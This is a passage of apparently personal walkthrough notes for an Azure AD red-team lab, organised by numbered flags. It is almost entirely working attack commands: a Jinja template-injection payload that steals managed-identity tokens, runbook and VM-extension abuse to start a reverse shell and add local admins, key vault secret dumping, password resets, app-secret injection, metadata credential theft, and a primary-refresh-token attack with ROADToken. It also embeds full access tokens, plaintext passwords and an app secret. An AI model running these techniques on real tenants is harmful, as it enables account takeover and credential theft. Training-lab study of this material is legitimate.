'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYvIiwiaWF0IjoxNjQzNjc5MDMyLCJuYmYiOjE2NDM2NzkwMzIsImV4cCI6MTY0MzY4MzA4NSwiYWNyIjoiMSIsImFpbyI6IkFTUUEyLzhUQUFBQWlYb2RzYktyMTlDcTJHcHJFY2dtYk41N3RKSHpjd2ZHOXhlNTJWZWlFaGM9IiwiYW1yIjpbInB3ZCJdLCJhcHBpZCI6IjA0YjA3Nzk1LThkZGItNDYxYS1iYmVlLTAyZjllMWJmN2I0NiIsImFwcGlkYWNyIjoiMCIsImdyb3VwcyI6WyIwY2U3ZDQzMi05NGVhLTQ0OGMtYTE0OS00YTU2Mzk2MzU2YmIiLCJlNjg3MDc4My0xMzc4LTQwNzgtYjI0Mi04NGMwOGM2ZGMwZDciXSwiaXBhZGRyIjoiNTEuMjEwLjEuMjM5IiwibmFtZSI6Ik1hcmsgRC4gV2FsZGVuIiwib2lkIjoiZjY2ZTEzM2MtYmQwMS00YjBiLWIzYjctN2NkOTQ5ZmQ0NWYzIiwicHVpZCI6IjEwMDMyMDAxMjBENENFNEIiLCJyaCI6IjAuQVhBQUtjdFFMWHRmcEVpSHp2NTFxVUd0dGtaSWYza0F1dGRQdWtQYXdmajJNQk53QUNjLiIsInNjcCI6InVzZXJfaW1wZXJzb25hdGlvbiIsInN1YiI6ImFqV2FQY0tCTFF2aE5NWDFkTHBLR3ZfeXFHUzRxekNGQXptUEJjZXVaelUiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1bmlxdWVfbmFtZSI6Ik1hcmtEV2FsZGVuQGRlZmNvcnBocS5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJNYXJrRFdhbGRlbkBkZWZjb3JwaHEub25taWNyb3NvZnQuY29tIiwidXRpIjoicW5LQWx4c0xmMENlTko5SmtMZ0dBQSIsInZlciI6IjEuMCIsIndpZHMiOlsiOWI4OTVkOTItMmNkMy00NGM3LTlkMDItYTZhYzJkNWVhNWMzIiwiYjc5ZmJmNGQtM2VmOS00Njg5LTgxNDMtNzZiMTk0ZTg1NTA5Il0sInhtc190Y2R0IjoxNjE1Mzc1NjI5fQ.UX2jLvJ8tYnziH1MMh24Czmfvlcq65XRWEc8QHADtnioTcz18qSJkvhUlnaMJDAX3O3TfpEfku4anin-OviiYM6yN_gxFm9x421w_RPRemK1Dl05wkGz8afWBGUnJFMGCvIYCMWl07YkI_Ky9uPfPy17Z7-eJgatsctK6EnJu7gT7IwJKGbsLXKosaxC_Gt_tUfArmA449DKXb07_ctkXwaafp7meDicnkwnqQ_hdXaVNEfenJO4-yKPiHTx_PVhHYEwWPxNOS6Bk7Y3n1nd_ye9gIKj1OKw8UQ98moZcioAXE6-u9TdOnmqtcEFZZUHPoBfnZbiYMCD0YXaEjWgAA' 266 | Connect-AzAccount -AccessToken $token -GraphAccessToken $graph -AccountId $client_id 267 | Get-AzRoleAssignment -Scope $scope 268 | # if that returns an error, go back and get new access/graph tokens! 269 | # Contributor 270 | 271 | ## Flag 25 & 26 272 | # 273 | Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Engineering 274 | #Import and Publish the Automation Runbook 275 | Import-AzAutomationRunbook -Name artilleryRed -Path C:\AzAD\Tools\studentx.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Type PowerShell -Force -Verbose 276 | Publish-AzAutomationRunbook -RunbookName artilleryRed -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose 277 | # start the rev shell 278 | Start-AzAutomationRunbook -RunbookName artilleryRed -RunOn WorkerGroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose 279 | # after recieveing your shell, run hostname: defeng-adcsrv 280 | 281 | ## Flag 27 282 | # Continued from Flag 10 283 | Connect-AzAccount -AccessToken $AccessToken -AccountId $client_id 284 | Get-AzResource 285 | # So we have a VM here, let's dig in! Pull out the Name and ResourceGroup 286 | $resources = Get-AzResource 287 | $name = "bkpadconnect" 288 | $resourceGroup = ($resources | ?{ $_.Name -eq $name }).ResourceGroupName 289 | # Let's see if there are any network restrictions to connect to it 290 | $interface = Get-AzVM -Name $name -ResourceGroupName $resourceGroup | select -ExpandProperty NetworkProfile 291 | # Use a trick to get the last string block of the path 292 | $interfaceName = Split-Path -Path $interface.NetworkInterfaces.Id -Leaf 293 | Get-AzNetworkInterface -Name $interfaceName 294 | # it says it has a public IP address...cool, let's grab that 295 | $ipId = Split-Path -Path (Get-AzNetworkInterface -Name $interfaceName).IpConfigurations.PublicIpAddress.Id -Leaf 296 | # Now grab that public IP 297 | Get-AzPublicIpAddress -Name $ipId 298 | $ipAddress = (Get-AzPublicIpAddress -Name $ipId).IpAddress 299 | # Now let's add our user to the VM with a script. Save in a file the following (make sure the password meets the complexity requirements!: 300 | $passwd = ConvertTo-SecureString "Stud170Password@123" -AsPlainText -Force 301 | New-LocalUser -Name artilleryRed -Password $passwd 302 | Add-LocalGroupMember -Group Administrators -Member artilleryRed 303 | # save that in a file with a PS1 extention and let's upload it 304 | Invoke-AzVMRunCommand -VMName $name -ResourceGroupName $resourceGroup -CommandId 'RunPowerShellScript' -ScriptPath C:\Users\studentuser170\Documents\vmUserAdd.ps1 -Verbose 305 | 306 | $passwd = ConvertTo-SecureString "Stud170Password@123" -AsPlainText -Force 307 | $creds = New-Object System.Management.Automation.PSCredential('artilleryRed', $passwd) 308 | $vmsess = New-PSSession -ComputerName $ipAddress -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) 309 | Enter-PSSession $vmsess 310 | gc C:\Users\bkpadconnect\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 311 | 312 | ## Flag 28 313 | # going from Flag 19 314 | {% for x in ().__class__.__mro__[1].__subclasses__() %} {% if "Popen" in x.__name__ %} {{x('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER',shell=True,stdout=- 1).communicate()}} {% endif %} {% endfor %} 315 | {% for x in ().__class__.__mro__[1].__subclasses__() %} {% if "Popen" in x.__name__ %} {{x('curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER',shell=True,stdout=- 1).communicate()}} {% endif %} {% endfor %} 316 | $token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTY0MzY0NDQ5MCwibmJmIjoxNjQzNjQ0NDkwLCJleHAiOjE2NDM3MzExOTAsImFpbyI6IkUyWmdZTmd0UFRISFZKekI2UnA3OWhPbXJwNkpBQT09IiwiYXBwaWQiOiIyZTkxYTRmZS1hMGYyLTQ2ZWUtODIxNC1mYTJmZjZhYTlhYmMiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiIzMGU2NzcyNy1hOGI4LTQ4ZDktODMwMy1mMjQ2OWRmOTdjYjIiLCJyaCI6IjAuQVhBQUtjdFFMWHRmcEVpSHp2NTFxVUd0dHY2a2tTN3lvTzVHZ2hUNkxfYXFtcnh3QUFBLiIsInN1YiI6IjMwZTY3NzI3LWE4YjgtNDhkOS04MzAzLWYyNDY5ZGY5N2NiMiIsInRpZCI6IjJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNiIsInV0aSI6IlRXeWJySGNYRTBXNjlkbUM1T0lLQUEiLCJ2ZXIiOiIxLjAiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy9iNDEzODI2Zi0xMDhkLTQwNDktOGMxMS1kNTJkNWQzODg3NjgvcmVzb3VyY2Vncm91cHMvUmVzZWFyY2gvcHJvdmlkZXJzL01pY3Jvc29mdC5XZWIvc2l0ZXMvdmF1bHRmcm9udGVuZCIsInhtc190Y2R0IjoiMTYxNTM3NTYyOSJ9.BdyA1U8oYFlp07-w2MJJS-H5uF4KUJgr4mHkfk-9uaiLaqUOQk8Y4iEXiKVLGo75-yS6knAOFSXPfrImJ99xLdMtEHHgpYqqW9Xy66i0FXCANqMd2WyLsIrmGYf5gRSjOhpH4h2tsfGVgUzkCCJ_a6kEDwmhOS_gJQrLgUSlFtwMWS6Ps7IQ84QWxeQGF77QgYj0a7BDN_dNVME9nTxIeYJUhE-QDeRW_OZAGG4Z6vEq6NnzG8VwgQTzoHXFNserWxyA84PcyrpVQKldUyosygrzGQRybY831NXNRHB5yEAW9s9cblCNO3Ac8VH0DS0fC2ws9ysGaTZ_FoxfFrQoFw' 317 | $keyvaultToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDM2NDQ0NTcsIm5iZiI6MTY0MzY0NDQ1NywiZXhwIjoxNjQzNzMxMTU3LCJhaW8iOiJFMlpnWU1ndCttZStRMWVUclhucXQ3MHFINTQ5QkFBPSIsImFwcGlkIjoiMmU5MWE0ZmUtYTBmMi00NmVlLTgyMTQtZmEyZmY2YWE5YWJjIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsIm9pZCI6IjMwZTY3NzI3LWE4YjgtNDhkOS04MzAzLWYyNDY5ZGY5N2NiMiIsInJoIjoiMC5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0djZra1M3eW9PNUdnaFQ2TF9hcW1yeHdBQUEuIiwic3ViIjoiMzBlNjc3MjctYThiOC00OGQ5LTgzMDMtZjI0NjlkZjk3Y2IyIiwidGlkIjoiMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2IiwidXRpIjoiUjdTMml1UGJsRWVBbmhXX01qTUxBQSIsInZlciI6IjEuMCIsInhtc19taXJpZCI6Ii9zdWJzY3JpcHRpb25zL2I0MTM4MjZmLTEwOGQtNDA0OS04YzExLWQ1MmQ1ZDM4ODc2OC9yZXNvdXJjZWdyb3Vwcy9SZXNlYXJjaC9wcm92aWRlcnMvTWljcm9zb2Z0LldlYi9zaXRlcy92YXVsdGZyb250ZW5kIn0.EnFDnq_SHdDjX76CERR_tR0RXeiWmW9s_ULZuajbQte3X0GSK22awbwPQvNF9ODVLLnNQr2zTfLVJaHwiDMMh2sUBpkIZY_I-uIaNrdyMqv5FA9eHSHshzZqxaOLnTBrXlrW5wianl8V2GNEsdLGS6H-BmarG44G8aYNma-WW4hQ1OJbGosEhzVBWtPeLvBhYxIuFEB0l5_qPigyvnC-yLd6XjYVBE_QuUSjjvMlJBBCnw4vO9mo_M_Z61GsEbsAmTDSKENj3NpbSEp3Zz64OdWg2X6m56DLb3ady8X5Mlht0QuUsfGI3NNqwW_-1r5E3zAk7K8jeT-u8VLuvIjGaQ' 318 | $client_id = '2e91a4fe-a0f2-46ee-8214-fa2ff6aa9abc' 319 | Connect-AzAccount -AccessToken $token -AccountId $client_id -KeyVaultAccessToken $keyvaultToken 320 | Get-AzContext -ListAvailable 321 | Get-AzRoleAssignment 322 | Get-AzResource 323 | # access to the vault. Okay, dig in 324 | # ResearchKeyVault 325 | 326 | ## Flag 29 327 | # 328 | Get-AzKeyVault -VaultName ResearchKeyVault 329 | Get-AzKeyVaultSecret -VaultName ResearchKeyVault 330 | Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader 331 | Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText 332 | # got a key for kathy 333 | 334 | ## Flag 30 335 | # 336 | $passwd = ConvertTo-SecureString "Kathy@3698TEST$#*!@#" -AsPlainText -Force 337 | $creds = New-Object System.Management.Automation.PSCredential('kathynschaefer@defcorphq.onmicrosoft.com', $passwd) 338 | Connect-AzAccount -Credential $creds 339 | Get-AzResource 340 | # apparently 'jumpvm' 341 | 342 | ## Flag 31 343 | # 344 | $resourceId = (Get-AzResource | ?{$_.name -eq "jumpvm"}).ResourceId 345 | Get-AzRoleAssignment -Scope $resourceId 346 | $name = (Get-AzRoleAssignment -Scope $resourceId | ?{ $_.DisplayName -eq "VM Admins"}).RoleDefinitionName 347 | # Virtual Machine Command Executor 348 | 349 | ## Flag 32 350 | # Find the adminstrative Unit 351 | $name | %{ Get-AzRoleDefinition -Name $_} 352 | Get-AzADGroup -DisplayName 'VM Admins' 353 | Get-AzADGroupMember -GroupDisplayName 'VM Admins' | select UserPrincipalName 354 | # grab my token so I can login and grab the users 355 | $token = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token 356 | $URI = 'https://graph.microsoft.com/v1.0/users/VMContributor170@defcorphq.onmicrosoft.com/memberOf' 357 | $RequestParams = @{ 358 | Method = 'GET' 359 | Uri = $URI 360 | Headers = @{ 'Authorization' = "Bearer $token" } 361 | } 362 | (Invoke-RestMethod @RequestParams).value 363 | # displayName says it is the "Control Group" 364 | # save 'id' for next flag 365 | 366 | ## Flag 33 367 | # See who is in the above control group (with my creds) 368 | Import-Module C:\AzAD\Tools\AzureAD\AzureAD.psd1 369 | Connect-AzureAD -Credential $creds 370 | Get-AzureADMSAdministrativeUnit -id e1e26d93-163e-42a2-a46e-1b7d52626395 371 | Get-AzureADMSScopedRoleMembership -Id e1e26d93-163e-42a2-a46e-1b7d52626395 | fl * 372 | # So we got a user and an id for Roy G. Cain. What can he do? Use his RoleId below 373 | Get-AzureADDirectoryRole -ObjectId 5b3935ed-b52d-4080-8b05-3a1832194d3a 374 | # after fishing for roygcain, we got his password back: 375 | $creds = New-Object System.Management.Automation.PSCredential('roygcain@defcorphq.onmicrosoft.com', (ConvertTo-SecureString '$7cur3ceS@!nMoka1679@111' -AsPlainText -Force)) 376 | Connect-AzureAD -Credential $creds 377 | # update the password for VMContributor so we can be them! 378 | $password = "VM@Contributor@123@321" | ConvertTo-SecureString -AsPlainText -Force 379 | (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "VMContributor170@defcorphq.onmicrosoft.com"}).ObjectId | Set-AzureADUserPassword -Password $password -Verbose 380 | $creds = New-Object System.Management.Automation.PSCredential('VMContributor170@defcorphq.onmicrosoft.com', $password) 381 | Connect-AzAccount -Credential $creds 382 | # see what he can do 383 | Get-azResource 384 | # he can access the jumpvm 385 | $name = 'jumpvm' 386 | $resourceGroup = 'RESEARCH' 387 | Get-AzVM -Name jumpvm -ResourceGroupName $resourceGroup 388 | # Can we get to it? Let's check the IP 389 | Get-AzVM -Name jumpvm -ResourceGroupName $resourceGroup | select -ExpandProperty NetworkProfile 390 | $networkProfile = (Get-AzVm -Name jumpvm -ResourceGroupName $resourceGroup | select -ExpandProperty NetworkProfile).NetworkInterfaces.Id 391 | Get-AzNetworkInterface -Name $(Split-Path $networkProfile -Leaf) 392 | Get-AzPublicIpAddress -Name jumpvm-ip 393 | # IP is 51.116.180.87 394 | Invoke-AzVMRunCommand -ScriptPath C:\AzAD\Tools\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'jumpvm' -ResourceGroupName $resourceGroup -Verbose 395 | # Now I should be able to logon with what I put in my script! 396 | $creds = New-Object System.Management.Automation.PSCredential('student170', (ConvertTo-SecureString "Stud170Password@123" -AsPlainText -Force)) 397 | $jumpvm = New-PSSession -ComputerName 51.116.180.87 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) 398 | Enter-PSSession -Session $jumpvm 399 | exit 400 | 401 | ## Flag 34 402 | # continuation from flag 20 403 | # grab a new token from the virusscanner and do the "AddSecret" command again 404 | $token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDM2ODQ3NTksIm5iZiI6MTY0MzY4NDc1OSwiZXhwIjoxNjQzNzcxNDU5LCJhaW8iOiJFMlpnWURpem1qdFF2TW52MEhkWndYVWZCT1llQVFBPSIsImFwcGlkIjoiNjJlNDQ0MjYtNWM0Ni00ZTNjLThhODktZjQ2MWQ1ZDU4NmYyIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwicmgiOiIwLkFYQUFLY3RRTFh0ZnBFaUh6djUxcVVHdHRrWklmM2tBdXRkUHVrUGF3ZmoyTUJOd0FBQS4iLCJzdWIiOiJlYTRjM2MxNy04YTVkLTRlMWYtOTU3Ny1iMjlkZmZmMDczMGMiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1dGkiOiI3U1RldDZKSW5FT3Z1eFo5MzZFTEFBIiwidmVyIjoiMS4wIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvYjQxMzgyNmYtMTA4ZC00MDQ5LThjMTEtZDUyZDVkMzg4NzY4L3Jlc291cmNlZ3JvdXBzL0lUL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL3Byb2Nlc3NmaWxlIiwieG1zX3RjZHQiOjE2MTUzNzU2Mjl9.inod_WlfyFaWHvHn6nV8omwF71jCGtUvahR1YhjvURQPfgFP-rZDiOO1deec1VRnuKxcXKReJbOpzMe43-4OPWuKYBiLKmV3FVFWX8P988b1kGRdZ3AEAiDCvzF2mQzaOTrPKC1Iru0g7b1R4pN5iP0LoXoFE5xLLbjTjLyhCJzMHcTEKXwvYYD-BGVz_vcsAJF9EvfY3SL6y-6bTaPouKqcF4OLMTj3HHqBilz6fPIrhl0BpOqzJVNVVHC19YVZELO7IufQaQH4QtRAlXSkvaSRe87nCcov69ZrKC6u0Q2j21QGEw5PHhWU8Tb3YxcnkFDF8qSK05cSCB0fFFc7jw' 405 | $client_id = '62e44426-5c46-4e3c-8a89-f461d5d586f2' 406 | $graph_token = 'eyJ0eXAiOiJKV1QiLCJub25jZSI6Ijlta1lEUkRxTzFzcE55UGxxY1Rub3BKVWdjTDNZcFMxWUNzYklKek14QlUiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20vIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTY0MzY4NDc2MCwibmJmIjoxNjQzNjg0NzYwLCJleHAiOjE2NDM3NzE0NjAsImFpbyI6IkUyWmdZT2orY3lleXZlNkxyZWkwdnFRbCt5WWtBQUE9IiwiYXBwX2Rpc3BsYXluYW1lIjoicHJvY2Vzc2ZpbGUiLCJhcHBpZCI6IjYyZTQ0NDI2LTVjNDYtNGUzYy04YTg5LWY0NjFkNWQ1ODZmMiIsImFwcGlkYWNyIjoiMiIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpZHR5cCI6ImFwcCIsIm9pZCI6ImVhNGMzYzE3LThhNWQtNGUxZi05NTc3LWIyOWRmZmYwNzMwYyIsInJoIjoiMC5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0Z01BQUFBQUFBQUF3QUFBQUFBQUFBQndBQUEuIiwic3ViIjoiZWE0YzNjMTctOGE1ZC00ZTFmLTk1NzctYjI5ZGZmZjA3MzBjIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkFTIiwidGlkIjoiMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2IiwidXRpIjoiZUNsbHM4S0dQMHFLTWJadHN4a0tBQSIsInZlciI6IjEuMCIsIndpZHMiOlsiMDk5N2ExZDAtMGQxZC00YWNiLWI0MDgtZDVjYTczMTIxZTkwIl0sInhtc190Y2R0IjoxNjE1Mzc1NjI5fQ.rD20r28sr2dxZIbzTbvv45tbra0OYsCGLsQ8IHMgaKPHAdKyisl_vb86nARWOXWt9Cm6LlTsRPYFsGX89zg7EzXBzl81K6wgkU-UDes-E42Dd2KdtHv1XnlLEyMXq_bMpkI09o5t0gD00hVpi3ycAxDwKXKrlGVVCCnMYqRtD8SOe43c4kEVxC3Zrnn_lIEHy2cdabbqyOKgi8C7Pj3v7nro29rKC-gF8O0vDYskoZXdmHoB1f93K6pScMn75vPZZ3_k7f0NutWJiV83hb_varVzG8Re9O9G2gc4scIcFuW4eog8XbiT7ArRQZcBWOD2lYk88RzGKyVLF7DsI7TZHQ' 407 | Connect-AzAccount -AccessToken $token -GraphAccessToken $graph_token -AccountId $client_id 408 | $URI = 'https://graph.microsoft.com/v1.0/applications' 409 | $RequestParams = @{ 410 | Method = 'GET' 411 | Uri = $URI 412 | Headers = @{ 413 | 'Authorization' = "Bearer $graph_token" 414 | } 415 | } 416 | (Invoke-RestMethod @RequestParams).value 417 | . C:\AzAD\Tools\Add-AzADAppSecret.ps1 418 | Add-AzADAppSecret -GraphToken $graph_token -Verbose 419 | # save the secret we got added and the AppId 420 | $appId = 'f072c4a6-b440-40de-983f-a7f3bd317d8f' 421 | $secret = 'sCA7Q~Y12CkAgC6vQ1pQhvJmgVw5844lIH27g' 422 | # And let's log in as the app! 423 | $creds = New-Object System.Management.Automation.PSCredential($appId, (ConvertTo-SecureString $secret -AsPlainText -Force)) 424 | Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 2d50cb29-5f7b-48a4-87ce-fe75a941adb6 425 | Get-AzResource 426 | Get-AzKeyVaultSecret -VaultName credvault-fileapp 427 | Get-AzKeyVaultSecret -VaultName credvault-fileapp -Name MobileUsersBackup -AsPlainText 428 | # and there we get David and his password username: DavidDHenriques@defcorphq.onmicrosoft.com ; password: David@Ka%%ya72&*FG9313gs49 429 | 430 | ## Flag 40 431 | # continuing from Flag 33 432 | Enter-PSSession -Session $jumpvm 433 | # Now pull any userdata available 434 | $userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text" 435 | [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) 436 | # and we just pulled creds samcgray@defcorphq.onmicrosoft.com:$7cur7gr@yQamu1913@013 437 | exit 438 | 439 | ## Flag 41 & 42 440 | $Password = ConvertTo-SecureString '$7cur7gr@yQamu1913@013' -AsPlainText -Force 441 | $Cred = New-Object System.Management.Automation.PSCredential('samcgray@defcorphq.onmicrosoft.com', $Password) 442 | Connect-AzAccount -Credential $Cred 443 | Get-AzResource 444 | $resourceId = (Get-AzResource | ?{ $_.Name -match "ExecCmd"}).ResourceId 445 | Get-AzRoleAssignment -SignInName samcgray@defcorphq.onmicrosoft.com 446 | # that returned nothing, so let's do it the hard way 447 | $Token = (Get-AzAccessToken).Token 448 | $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01' 449 | $RequestParams = @{ 450 | Method = 'GET' 451 | Uri = $URI 452 | Headers = @{ 'Authorization' = "Bearer $Token" } 453 | } 454 | (Invoke-RestMethod @RequestParams).value 455 | # we got read and write! Let's add us a user to this vm 456 | Get-AzVMExtension -ResourceGroupName $resourceGroup -VMName "infradminsrv" 457 | Set-AzVMExtension -ResourceGroupName $resourceGroup -ExtensionName "ExecCmd" -VmName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users artilleryRed Student170Password@123 /add /Y; net localgroup administrators artilleryRed /add"}' 458 | # If it worked, we should be able to log on to the jumpvm and get access to the infradminsrv 459 | $creds = New-Object System.Management.Automation.PSCredential('student170', (ConvertTo-SecureString "Stud170Password@123" -AsPlainText -Force)) 460 | $jumpvm = New-PSSession -ComputerName 51.116.180.87 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) 461 | Enter-PSSession -Session $jumpvm 462 | $creds = New-Object System.Management.Automation.PSCredential('.\artilleryRed', (ConvertTo-SecureString "Student170Password@123" -AsPlainText -Force)) 463 | # Remember this is a local account, not a domain account so it has to have the .\ in front of the user name! kicked my ass for about an hour! 464 | $infravm = New-PSSession -ComputerName 10.0.1.5 -Credential $creds 465 | Invoke-Command -Session $infravm -ScriptBlock{hostname} 466 | # So this machine is joined to Azure. perfect 467 | Invoke-Command -Session $infravm -ScriptBlock{dsregcmd /status} 468 | # So this machine is joined to Azure. perfect 469 | # Copy over ROADToken.exe and PSExec64 so we can do a PRT attack! 470 | exit 471 | Copy-Item -ToSession $jumpvm -Path C:\AzAD\Tools\ROADToken.exe -Destination C:\Users\student170\Documents 472 | Copy-Item -ToSession $jumpvm -Path C:\AzAD\Tools\PsExec64.exe -Destination C:\Users\student170\Documents 473 | Copy-Item -ToSession $jumpvm -Path C:\AzAD\Tools\SessionExecCommand.exe -Destination C:\Users\student170\Documents 474 | Enter-PSSession $jumpvm 475 | Invoke-Command -Session $infravm -ScriptBlock{pwd} 476 | Invoke-Command -Session $infravm -ScriptBlock{ mkdir C:\temp } 477 | Copy-Item -ToSession $infravm -Path C:\Users\student170\Documents\PsExec64.exe -Destination C:\temp 478 | Copy-Item -ToSession $infravm -Path C:\Users\student170\Documents\ROADToken.exe -Destination C:\temp 479 | Copy-Item -ToSession $infravm -Path C:\Users\student170\Documents\SessionExecCommand.exe -Destination C:\temp 480 | # Now execute it 481 | $tenantId = "2d50cb29-5f7b-48a4-87ce-fe75a941adb6" 482 | $URL = "https://login.microsoftonline.com/$tenantId/oauth2/token" 483 | $Params = @{ 484 | "URI" = $URL 485 | "Method" = "POST" 486 | } 487 | $Body = @{ 488 | "grant_type" = "srv_challenge" 489 | } 490 | $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body 491 | $Result.Nonce 492 | Invoke-Command -Session $infravm -ScriptBlock{$arg = " /c C:\temp\SessionExecCommand.exe MichaelMBarron C:\temp\ROADToken.exe AwABAAAAAAACAOz_BAD0_2_5WNIvi2oywYm6tyh-Ds4DF0x86lkzDX4IHRJpAPjT7atDgHNmgP7PVhifhCFYSQL09VEJlZZyA3_oRvl5dKEgAA > C:\temp\PRT.txt"} 493 | Invoke-Command -Session $infravm -ScriptBlock{C:\temp\PsExec64.exe -accepteula -s "cmd.exe" $arg} 494 | # has errors, but it executed! 495 | Invoke-Command -Session $infravm -ScriptBlock{ gc C:\temp\PRT.txt } 496 | exit 497 | # cookie created for michaelmbarron for cookie: x-ms-RefreshTokenCredential 498 | # Now in the browser, open an incognito window and go to login.microsoftonline.com 499 | # Clear all your cookies and add this one. Select the HttpOnly and Secure checkboxes as well 500 | # update the bar to go to login.microsoftonline.com/login.srf 501 | # if it doesn't work, generate more tokens! 502 | 503 | ## Flag 43 504 | # 505 | # Looking through what Barron can do, go to "https://endpoint.microsoft.com" and he is in the InTune group 506 | # Clicking on devices, there are 2 devices enrolled. If we click on Scripts, there are scripts available to be added to a device 507 | # If we run a script that adds a user to that device, it gets added. So after that script is run on the device, we should have access. 508 | $creds = New-Object System.Management.Automation.PSCredential('student170', (ConvertTo-SecureString "Stud170Password@123" -AsPlainText -Force)) 509 | $onPrem = 